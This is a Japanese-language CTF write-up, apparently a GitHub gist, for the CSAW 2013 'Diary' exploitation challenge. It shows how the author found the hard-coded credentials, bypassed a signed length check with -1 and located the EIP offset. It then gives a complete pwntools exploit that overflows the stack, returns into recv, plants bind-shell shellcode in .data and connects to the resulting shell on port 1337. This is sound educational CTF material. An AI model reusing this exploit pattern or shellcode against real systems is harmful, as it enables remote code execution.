Skip to content

Instantly share code, notes, and snippets.

@famasoon
Last active April 29, 2017 15:41
Show Gist options
  • Save famasoon/b77c6c13da750839b4dee0584b7ddc0d to your computer and use it in GitHub Desktop.
Save famasoon/b77c6c13da750839b4dee0584b7ddc0d to your computer and use it in GitHub Desktop.

Exploitation 3 (CSAW-Diary-300) - CSAW 2013 Qualification Round

問題ファイルはここ。 今回もバイナリだけ。

$ file fil_chal 
fil_chal: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af, stripped

NXビットは有効ではない。

$ ~/checksec -f fil_chal 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Full RELRO      No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No	0		5	fil_chal

straceで動きを見てみると34266番ポートを開けていることがわかる

$ strace ./fil_chal
~snip~
bind(3, {sa_family=AF_INET, sin_port=htons(34266), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
~snip~

ncで繋ぐとユーザ名とパスワードを求められる。 適当に入れても認証はできない

$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
		Dairy

UserName: AAAA
Password: BBBB
Invalid credentials

strings でバイナリ内の文字列を見てみると怪しいモノがある

$ strings ./fil_chal 
~snip~
csaw2013
S1mplePWD
~snip~

試してみると認証を通ることができた。 そして数値を求められる

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 100
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Til next time

IDA でこの辺りの処理を見てみると入力された値とバッファのサイズ(0x400)を比較している。 しかし、何故か比較直前に値を+1しているので"-1"を入力すると比較を通ることができる。 -1は32bitで0xFFFFFFFFなのでバッファのサイズより大きくオーバーフローを起こせる。 実際に試してみる。 まずはgdbでプロセスを見てみる

gdb-peda$ ps aux | fgrep fil_
ubuntu     3924  0.0  0.0   2028   280 pts/10   S+   14:16   0:00 ./fil_cha

次に別ターミナルからncで繋ぐとプロセスが増えている。

gdb-peda$ ps aux | fgrep fil_
ubuntu     3924  0.0  0.0   2028   280 pts/10   S+   14:16   0:00 ./fil_cha
ubuntu     3940  0.0  0.0   2028    60 pts/10   S+   14:17   0:00 ./fil_cha

実際に攻撃をするのはフォークしてできたプロセスなので、新しく出てきたプロセスにアタッチする。 そしてオーバーフローした場所を特定するためのパターンを生成してncから入力。

gdb-peda$ attach 3940
gdb-peda$ pattc 0x500
gdb-peda$ c
Continuing.

入力するとオーバーフローを起こして停止する。 調べると1056文字以上入力すると停止するようだ。

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x306e4161 ('aAn0')
ECX: 0x0 
EDX: 0xf76fc000 --> 0x1aada8 
ESI: 0x0 
EDI: 0x41466e41 ('AnFA')
EBP: 0x6e41626e ('nbAn')
ESP: 0xff99c7e0 ("AncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1AC"...)
EIP: 0x476e4131 ('1AnG')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x476e4131

~snip~

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x476e4131 in ?? ()
gdb-peda$ patto $eip
1198407985 found at offset: 1056

EIPを自由に飛ばせるようになった。 NXビットが有効になっていないので適当な場所にシェルコードを格納し実行させる。 今回はdata領域を使うとする。

from pwn import *

TARGET = "localhost"
PORT = 34266

addr_recv = 0x8048890 # objdump -d -j .plt fil_chal | fgrep recv
addr_data = 0x804b000 # readelf -S ./fil_chal | fgrep data
size_buf  = 1056

# http://shell-storm.org/shellcode/files/shellcode-882.php
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

r = remote(TARGET, PORT)

r.sendline("csaw2013")  # user name
r.sendline("S1mplePWD") # password
r.sendline("-1")        # entry info

payload = "A" * size_buf

payload += p32(addr_recv)
payload += p32(addr_data)
payload += p32(4)
payload += p32(addr_data)
payload += p32(len(shellcode))
payload += p32(0)

r.sendline(payload)
time.sleep(1)
r.sendline(shellcode)

pwnd = remote(TARGET, 1337)
pwnd.interactive()

オーバーフローを起こしてEIPをrecv@pltに移す。 そしてrecvで受け取ったシェルコードをdata領域に格納した後、data領域にEIPが移るようにしている。 シェルコードを送る際に少し遅延させないとうまく動かなかったりするので"time.sleep(1)"を入れている。 シェルコードの内容は1337ポートを開けるものなので最後にpwntoolsの機能を使い接続している。 動かすとうまくいっていることがわかる。

$ python writeup.py 
[+] Opening connection to localhost on port 34266: Done
[+] Opening connection to localhost on port 1337: Done
[*] Switching to interactive mode
$ 

おわり

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment